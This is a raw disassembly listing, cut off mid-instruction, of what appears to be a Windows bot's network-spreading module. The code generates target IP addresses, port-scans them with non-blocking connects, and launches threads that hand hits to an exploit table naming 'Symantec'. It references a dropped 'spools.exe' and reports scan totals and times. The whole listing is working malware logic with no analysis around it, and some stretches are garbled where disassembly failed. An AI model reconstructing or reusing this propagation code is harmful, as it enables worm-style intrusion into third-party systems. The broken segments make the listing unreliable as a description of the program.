loc_40B527: ; CODE XREF: sub_40B495+82j ; sub_40B495+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B53E push eax push dword ptr [esi] call sub_40B367 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B543 ; --------------------------------------------------------------------------- loc_40B53E: ; CODE XREF: sub_40B495+96j mov [ebp+var_4], ebx xor eax, eax loc_40B543: ; CODE XREF: sub_40B495+A7j cmp eax, ebx jnz short loc_40B50B loc_40B547: ; CODE XREF: sub_40B495+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B55A mov eax, [esi] cmp [eax], bl jnz short loc_40B55A mov [ebp+var_4], 1 loc_40B55A: ; CODE XREF: sub_40B495+B6j ; sub_40B495+BCj mov eax, [ebp+var_4] loc_40B55D: ; CODE XREF: sub_40B495+57j ; sub_40B495+66j pop edi pop esi pop ebx leave retn sub_40B495 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B562 proc near ; CODE XREF: .nsp0:004045ECp var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_438524 push eax xor ebx, ebx call sub_41BF36 cmp dword_438048, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B5D4 push esi mov esi, offset dword_438050 loc_40B595: ; CODE XREF: sub_40B562+6Fj mov eax, [esi] test eax, eax jbe short loc_40B5CA add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_438518 push eax call sub_41BF36 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C880 add esp, 1Ch loc_40B5CA: ; CODE XREF: sub_40B562+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B595 pop esi loc_40B5D4: ; CODE XREF: sub_40B562+2Bj push dword_4D0F24 call sub_41B12D push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41BF36 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C880 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 lea eax, [ebp+var_200] push eax call sub_4157A6 add esp, 38h pop edi pop ebx leave retn sub_40B562 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B630 proc near ; CODE XREF: .nsp0:004045D6p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4D3D00 mov ecx, dword_4D3CFC push esi push dword_4D0F24 lea esi, [ecx+eax] call sub_41B12D push eax push esi push dword_4D3D00 lea eax, [ebp+var_200] push dword_4D3CFC push offset unk_438544 push eax call sub_41BF36 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 lea eax, [ebp+var_200] push eax call sub_4157A6 add esp, 34h pop esi leave retn sub_40B630 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B69B proc near ; CODE XREF: .nsp0:004045C0p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4D0F24 call sub_41B12D push eax lea eax, [ebp+var_200] push dword_4D3F44 push offset unk_43858C push eax call sub_41BF36 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 lea eax, [ebp+var_200] push eax call sub_4157A6 add esp, 2Ch leave retn sub_40B69B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B6EF proc near ; CODE XREF: .nsp0:004045AAp var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C1D0 push edi lea eax, [ebp+var_800] push offset dword_4385D8 push eax call sub_41BF36 cmp dword_438048, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B75B push esi mov esi, offset aSymantec ; "Symantec" loc_40B724: ; CODE XREF: sub_40B6EF+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_4385C8 push eax call sub_41BF36 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C880 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B724 pop esi loc_40B75B: ; CODE XREF: sub_40B6EF+2Dj push dword_4D0F24 call sub_41B12D push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41BF36 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C880 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 lea eax, [ebp+var_800] push eax call sub_4157A6 add esp, 34h pop edi leave retn sub_40B6EF endp ; --------------------------------------------------------------------------- byte_40B7B5 db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:00404BF0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4D1230 ; inet_addr xor edi, edi mov [ebp-8], eax cmp dword_438048, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40B913 mov ebx, offset dword_438048 mov eax, ebx loc_40B806: ; CODE XREF: .nsp0:0040B90Dj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40BF97 add esp, 0Ch cmp eax, 1 jnz loc_40B903 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_438628 push eax call sub_41BF36 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_4099D2 lea eax, [ebp-3F0h] push eax call sub_4157A6 lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41BF36 lea eax, [ebp-15Ch] push esi push eax call sub_41BF36 add esp, 3Ch cmp byte ptr [ebp-0A4h], 0 lea eax, [ebp-0A4h] jnz short loc_40B89E lea eax, [ebp-124h] loc_40B89E: ; CODE XREF: .nsp0:0040B896j push eax lea eax, [ebp-1DCh] push eax call sub_41BF36 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B903: ; CODE XREF: .nsp0:0040B819j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B806 loc_40B913: ; CODE XREF: .nsp0:0040B7F9j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_4385F4 push eax call sub_41BF36 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_4099D2 lea eax, [ebp-3F0h] push eax call sub_4157A6 push dword ptr [ebp-18h] call sub_40B32A add esp, 2Ch push edi ; --------------------------------------------------------------------------- dd 73469BE8h db 0, 20h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B966 proc near ; CODE XREF: .nsp0:00403F16p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B256 test eax, eax pop ecx jle short loc_40B9A2 mov eax, [ebp+arg_C] push dword_4D1340[eax*8] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_438678 push eax call sub_41BF36 add esp, 0Ch jmp short loc_40B9B5 ; --------------------------------------------------------------------------- loc_40B9A2: ; CODE XREF: sub_40B966+13j lea eax, [ebp+var_200] push offset unk_438658 push eax call sub_41BF36 pop ecx pop ecx loc_40B9B5: ; CODE XREF: sub_40B966+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4099D2 lea eax, [ebp+var_200] push eax call sub_4157A6 add esp, 18h leave retn sub_40B966 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9DD proc far ; CODE XREF: .nsp0:0040C297p var_204 = byte ptr -204h var_1F0 = dword ptr -1F0h var_4 = byte ptr -4 arg_C = byte ptr 18h arg_8C = byte ptr 98h arg_10C = dword ptr 118h arg_12C = dword ptr 138h arg_134 = dword ptr 140h arg_138 = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_12C] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BEAF shl eax, 6 xor ebx, ebx cmp dword_438054[eax], ebx jz loc_40BEAF push 5 call sub_40B256 test eax, eax pop ecx jnz loc_40BC64 mov eax, dword_429080 push edi mov esi, offset dword_4D33FC push 104h push esi push ebx mov dword_4D360C, eax mov dword_4D3608, ebx call near ptr 0B40000h retf ; --------------------------------------------------------------------------- mov edi, offset aSpools_exe ; "spools.exe" push 103h push edi push offset dword_4D3500 call sub_41BCA0 mov eax, [ebp+arg_10C] add esp, 0Ch cmp [ebp+arg_8C], bl mov dword_4D33F8, eax mov eax, [ebp+arg_134] push 7Fh mov dword_4D3690, eax jnz short loc_40BA90 lea eax, [ebp+arg_C] push eax push offset dword_4D3610 call sub_41BCA0 add esp, 0Ch mov dword_4D3694, 1 jmp short loc_40BAAA ; --------------------------------------------------------------------------- loc_40BA90: ; CODE XREF: sub_40B9DD+94j lea eax, [ebp+arg_8C] push eax push offset dword_4D3610 call sub_41BCA0 add esp, 0Ch mov dword_4D3694, ebx loc_40BAAA: ; CODE XREF: sub_40B9DD+B1j push esi lea eax, [ebp+var_204] push dword_4D360C push offset unk_432B28 push eax call sub_41BF36 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B00E add esp, 1Ch mov dword_4D3604, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D33F8 push offset dword_411D98 push ebx push ebx call dword_42707C ; CreateThread mov ecx, dword_4D3604 imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40BB18 loc_40BB06: ; CODE XREF: sub_40B9DD+139j cmp dword_4D3698, ebx jnz short loc_40BB33 push 32h call dword_427064 ; Sleep jmp short loc_40BB06 ; --------------------------------------------------------------------------- loc_40BB18: ; CODE XREF: sub_40B9DD+127j call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_438798 push eax call sub_41BF36 add esp, 0Ch loc_40BB33: ; CODE XREF: sub_40B9DD+12Fj lea eax, [ebp+var_204] push eax call sub_4157A6 mov eax, dword_4D0F20 mov esi, offset dword_4D36A4 mov [esp+1F0h+var_1F0], 104h push esi push ebx mov dword_4D38B4, eax mov dword_4D38B0, ebx call near ptr 0B40000h wait push 103h push edi push offset dword_4D37A8 call sub_41BCA0 mov eax, [ebp+arg_10C] add esp, 0Ch cmp [ebp+arg_8C], bl mov dword_4D36A0, eax mov eax, [ebp+arg_134] pop edi mov dword_4D3938, eax push 7Fh jnz short loc_40BBB4 lea eax, [ebp+arg_C] push eax push offset dword_4D38B8 call sub_41BCA0 add esp, 0Ch mov dword_4D393C, 1 jmp short loc_40BBCE ; --------------------------------------------------------------------------- loc_40BBB4: ; CODE XREF: sub_40B9DD+1B8j lea eax, [ebp+arg_8C] push eax push offset dword_4D38B8 call sub_41BCA0 add esp, 0Ch mov dword_4D393C, ebx loc_40BBCE: ; CODE XREF: sub_40B9DD+1D5j push esi lea eax, [ebp+var_204] push dword_4D38B4 push offset unk_438764 push eax call sub_41BF36 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B00E add esp, 1Ch mov dword_4D38AC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D36A0 push offset sub_40F168 push ebx push ebx call dword_42707C ; CreateThread mov ecx, dword_4D38AC imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40BC3C loc_40BC2A: ; CODE XREF: sub_40B9DD+25Dj cmp dword_4D3940, ebx jnz short loc_40BC57 push 32h call dword_427064 ; Sleep jmp short loc_40BC2A ; --------------------------------------------------------------------------- loc_40BC3C: ; CODE XREF: sub_40B9DD+24Bj call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_438730 push eax call sub_41BF36 add esp, 0Ch loc_40BC57: ; CODE XREF: sub_40B9DD+253j lea eax, [ebp+var_204] push eax call sub_4157A6 pop ecx loc_40BC64: ; CODE XREF: sub_40B9DD+35j mov eax, [ebp+arg_12C] mov ecx, eax shl ecx, 6 cmp dword_43805C[ecx], ebx jz loc_40BD8D push 7 call sub_40B256 test eax, eax pop ecx jnz loc_40BD87 mov eax, dword_4D3F3C cmp [ebp+arg_8C], bl mov dword_4D3364, eax mov eax, [ebp+arg_10C] mov dword_4D3358, eax mov eax, [ebp+arg_134] mov dword_4D3360, ebx mov dword_4D33E8, eax push 7Fh jnz short loc_40BCD8 lea eax, [ebp+arg_C] push eax push offset dword_4D3368 call sub_41BCA0 add esp, 0Ch mov dword_4D33EC, 1 jmp short loc_40BCF2 ; --------------------------------------------------------------------------- loc_40BCD8: ; CODE XREF: sub_40B9DD+2DCj lea eax, [ebp+arg_8C] push eax push offset dword_4D3368 call sub_41BCA0 add esp, 0Ch mov dword_4D33EC, ebx loc_40BCF2: ; CODE XREF: sub_40B9DD+2F9j push dword_4D3364 lea eax, [ebp+var_204] push offset unk_438700 push eax call sub_41BF36 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B00E add esp, 18h mov dword_4D335C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D3358 push offset word_40EEC6 push ebx push ebx call dword_42707C ; CreateThread mov ecx, dword_4D335C imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40BD5F loc_40BD4D: ; CODE XREF: sub_40B9DD+380j cmp dword_4D33F0, ebx jnz short loc_40BD7A push 32h call dword_427064 ; Sleep jmp short loc_40BD4D ; --------------------------------------------------------------------------- loc_40BD5F: ; CODE XREF: sub_40B9DD+36Ej call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_4386C8 push eax call sub_41BF36 add esp, 0Ch loc_40BD7A: ; CODE XREF: sub_40B9DD+376j lea eax, [ebp+var_204] push eax call sub_4157A6 pop ecx loc_40BD87: ; CODE XREF: sub_40B9DD+2A8j mov eax, [ebp+arg_12C] loc_40BD8D: ; CODE XREF: sub_40B9DD+298j shl eax, 6 cmp dword_438058[eax], ebx jz loc_40BEAF push 3 call sub_40B256 test eax, eax pop ecx jnz loc_40BEAF mov esi, offset dword_4D3BD4 push 104h push esi push ebx call near ptr 0B40000h inc eax push 5Ch push esi call sub_41C4E0 pop ecx cmp eax, ebx pop ecx jz short loc_40BDCE mov [eax], bl loc_40BDCE: ; CODE XREF: sub_40B9DD+3EDj mov eax, dword_4D108C mov dword_4D3CEC, ebx mov dword_4D3CD8, eax lea eax, [ebp+arg_C] push eax push offset dword_4D394C call sub_41BF36 mov eax, [ebp+arg_10C] pop ecx pop ecx mov dword_4D3948, eax mov ecx, [ebp+arg_134] push esi push dword_4D3CD8 mov dword_4D3CE4, ecx mov ecx, [ebp+arg_138] push eax mov dword_4D3CE8, ecx call sub_40AB6A pop ecx push eax lea eax, [ebp+var_204] push offset unk_432AB0 push eax call sub_41BF36 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B00E add esp, 20h mov dword_4D3CE0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4D3948 push offset sub_40F891 push ebx push ebx call dword_42707C ; CreateThread mov ecx, dword_4D3CE0 imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40BE87 loc_40BE75: ; CODE XREF: sub_40B9DD+4A8j cmp dword_4D3CF4, ebx jnz short loc_40BEA2 push 32h call dword_427064 ; Sleep jmp short loc_40BE75 ; --------------------------------------------------------------------------- loc_40BE87: ; CODE XREF: sub_40B9DD+496j call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_438694 push eax call sub_41BF36 add esp, 0Ch loc_40BEA2: ; CODE XREF: sub_40B9DD+49Ej lea eax, [ebp+var_204] push eax call sub_4157A6 pop ecx loc_40BEAF: ; CODE XREF: sub_40B9DD+14j ; sub_40B9DD+25j ... pop esi pop ebx leave retn sub_40B9DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEB3 proc near ; CODE XREF: sub_40C034:loc_40C0A5p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4D1340h[eax*8] lea eax, [ebp+arg_0] push esi push eax call near ptr sub_41C9B0 add esp, 0Ch push [ebp+arg_0] call dword_4D1118 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_4D11EC ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call near ptr sub_41C9B0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BEB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEFB proc near ; CODE XREF: sub_40C034+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B890 cmp eax, 0Fh pop ecx jbe short loc_40BF23 xor eax, eax jmp short loc_40BF94 ; --------------------------------------------------------------------------- loc_40BF23: ; CODE XREF: sub_40BEFB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CCE5 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40BF50 call sub_41BF92 mov [ebp+var_C], eax loc_40BF50: ; CODE XREF: sub_40BEFB+4Bj cmp [ebp+var_8], esi jnz short loc_40BF5D call sub_41BF92 mov [ebp+var_8], eax loc_40BF5D: ; CODE XREF: sub_40BEFB+58j cmp [ebp+var_4], esi jnz short loc_40BF6A call sub_41BF92 mov [ebp+var_4], eax loc_40BF6A: ; CODE XREF: sub_40BEFB+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40BF76 call sub_41BF92 loc_40BF76: ; CODE XREF: sub_40BEFB+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4D1340[ecx*8], eax loc_40BF94: ; CODE XREF: sub_40BEFB+26j pop esi leave retn sub_40BEFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF97 proc near ; CODE XREF: .nsp0:0040B80Ep ; sub_40C034+B8p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4D1270 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40BFC0 xor eax, eax jmp short loc_40C02F ; --------------------------------------------------------------------------- loc_40BFC0: ; CODE XREF: sub_40BF97+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4D11F0 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4D128C ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4D1198 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4D11D8 ; select push esi mov edi, eax call dword_4D1288 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40C02F: ; CODE XREF: sub_40BF97+27j pop edi pop esi pop ebx leave retn sub_40BF97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C034 proc near ; DATA XREF: .nsp0:0040C383o var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_4270A8 ; GetTickCount push eax call sub_41BF88 mov ebx, esi pop ecx imul ebx, 234h loc_40C07B: ; CODE XREF: sub_40C034+200j mov eax, dword_444124[ebx] cmp dword_4D1344[eax*8], 0 jz loc_40C239 cmp [ebp+var_10], 0 push eax jz short loc_40C0A5 lea eax, [ebp+var_150] push eax call sub_40BEFB pop ecx jmp short loc_40C0AA ; --------------------------------------------------------------------------- loc_40C0A5: ; CODE XREF: sub_40C034+60j call sub_40BEB3 loc_40C0AA: ; CODE XREF: sub_40C034+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_444124[ebx] push [ebp+var_3C] push edi call dword_4D127C ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_4387F4 push eax call sub_41BF36 lea eax, [ebp+var_28C] push eax lea eax, dword_443F20[ebx] push eax call sub_41BF36 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40BF97 add esp, 2Ch cmp eax, 1 jnz loc_40C229 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C17E push offset dword_4D3340 call dword_4270D4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call dword_4D127C ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_4387CC push eax call sub_41BF36 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C160 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C154 lea eax, [ebp+var_140] loc_40C154: ; CODE XREF: sub_40C034+118j push eax push [ebp+var_40] call sub_4099D2 add esp, 14h loc_40C160: ; CODE XREF: sub_40C034+FDj lea eax, [ebp+var_28C] push eax call sub_4157A6 mov [esp+2A8h+var_2A8], offset dword_4D3340 call dword_4270D0 ; RtlLeaveCriticalSection jmp loc_40C229 ; --------------------------------------------------------------------------- loc_40C17E: ; CODE XREF: sub_40C034+CDj push edi call dword_4D127C ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_41BF36 mov eax, [ebp+var_20] shl eax, 6 add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41BF36 add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_40C1C2 lea eax, [ebp+var_140] loc_40C1C2: ; CODE XREF: sub_40C034+186j push eax lea eax, [ebp+var_1F8] push eax call sub_41BF36 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_43804C[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C229: ; CODE XREF: sub_40C034+C3j ; sub_40C034+145j push 7D0h call dword_427064 ; Sleep jmp loc_40C07B ; --------------------------------------------------------------------------- loc_40C239: ; CODE XREF: sub_40C034+55j push esi call sub_40B32A pop ecx push 0 call near ptr 0B40000h loc_40C247: ; DATA XREF: .nsp0:00403A4Fo ; .nsp0:004076ABo mov ebx, 81EC8B55h sub_40C034 endp ; sp-analysis failed in al, dx int 3 ; Trap to Debugger add [eax], eax add [ebx+56530845h], cl push edi push 53h mov esi, eax pop ecx lea edi, [ebp-14Ch] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp-14Ch] push eax call dword_4D1230 ; inet_addr mov ecx, [ebp-2Ch] sub esp, 14Ch lea esi, [ebp-14Ch] push 53h mov dword_4D1340[ecx*8], eax pop ecx mov edi, esp rep movsd call near ptr sub_40B9DD push 0Bh call sub_40B256 add esp, 150h cmp eax, ebx jnz short loc_40C316 mov esi, offset dword_4D3340 push esi call dword_4270DC ; RtlDeleteCriticalSection push 80000400h push esi call dword_4270D8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40C316 lea eax, [ebp-1CCh] push offset unk_4388D8 push eax call sub_41BF36 xor ebx, ebx pop ecx cmp [ebp-10h], ebx pop ecx jnz short loc_40C300 push ebx lea eax, [ebp-1CCh] push dword ptr [ebp-14h] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-3Ch] call sub_4099D2 add esp, 14h loc_40C300: ; CODE XREF: .nsp0:0040C2E1j lea eax, [ebp-1CCh] push eax call sub_4157A6 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C316: ; CODE XREF: .nsp0:0040C2ABj ; .nsp0:0040C2C7j mov eax, [ebp-2Ch] mov esi, dword_427064 mov edi, ebx mov dword_4D1344[eax*8], ebx xor ebx, ebx cmp dword ptr [ebp-20h], 1 jb loc_40C3E3 loc_40C334: ; CODE XREF: .nsp0:0040C3DDj push edi lea eax, [ebp-14Ch] push dword ptr [ebp-2Ch] mov [ebp-24h], edi push dword ptr [ebp-38h] push eax lea eax, [ebp-1CCh] push offset unk_4388A4 push eax call sub_41BF36 push ebx lea eax, [ebp-1CCh] push 0Bh push eax call sub_40B00E mov [ebp-28h], eax imul eax, 234h mov ecx, [ebp-2Ch] add esp, 24h mov dword_444124[eax], ecx lea eax, [ebp-14Ch] push ebx push ebx push eax push offset sub_40C034 push ebx push ebx call dword_42707C ; CreateThread mov ecx, [ebp-28h] imul ecx, 234h cmp eax, ebx mov dword_444134[ecx], eax jz short loc_40C3AE loc_40C3A3: ; CODE XREF: .nsp0:0040C3ACj cmp [ebp-4], ebx jnz short loc_40C3D5 push 1Eh call esi ; dword_427064 jmp short loc_40C3A3 ; --------------------------------------------------------------------------- loc_40C3AE: ; CODE XREF: .nsp0:0040C3A1j call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp-1CCh] push offset unk_43886C push eax call sub_41BF36 lea eax, [ebp-1CCh] push eax call sub_4157A6 add esp, 10h loc_40C3D5: ; CODE XREF: .nsp0:0040C3A6j push 1Eh call esi ; dword_427064 inc edi cmp edi, [ebp-20h] jbe loc_40C334 loc_40C3E3: ; CODE XREF: .nsp0:0040C32Ej cmp [ebp-30h], ebx jz loc_40C48D mov eax, [ebp-30h] imul eax, 0EA60h push eax call esi ; dword_427064 loc_40C3F8: ; CODE XREF: .nsp0:0040C498j push dword ptr [ebp-30h] mov eax, [ebp-2Ch] push dword ptr [ebp-38h] mov eax, dword_4D1340[eax*8] push eax call dword_4D127C ; inet_ntoa push eax lea eax, [ebp-1CCh] push offset unk_43882C push eax call sub_41BF36 add esp, 14h cmp [ebp-10h], ebx jnz short loc_40C446 push ebx lea eax, [ebp-1CCh] push dword ptr [ebp-14h] push eax lea eax, [ebp-13Ch] push eax push dword ptr [ebp-3Ch] call sub_4099D2 add esp, 14h loc_40C446: ; CODE XREF: .nsp0:0040C427j lea eax, [ebp-1CCh] push eax call sub_4157A6 mov eax, [ebp-2Ch] mov dword ptr [esp], 0BB8h mov dword_4D1344[eax*8], ebx call esi ; dword_427064 push 0Bh call sub_40B256 cmp eax, 1 pop ecx jnz short loc_40C47D push offset dword_4D3340 call dword_4270DC ; RtlDeleteCriticalSection loc_40C47D: ; CODE XREF: .nsp0:0040C470j push dword ptr [ebp-2Ch] call sub_40B32A pop ecx push ebx call near ptr 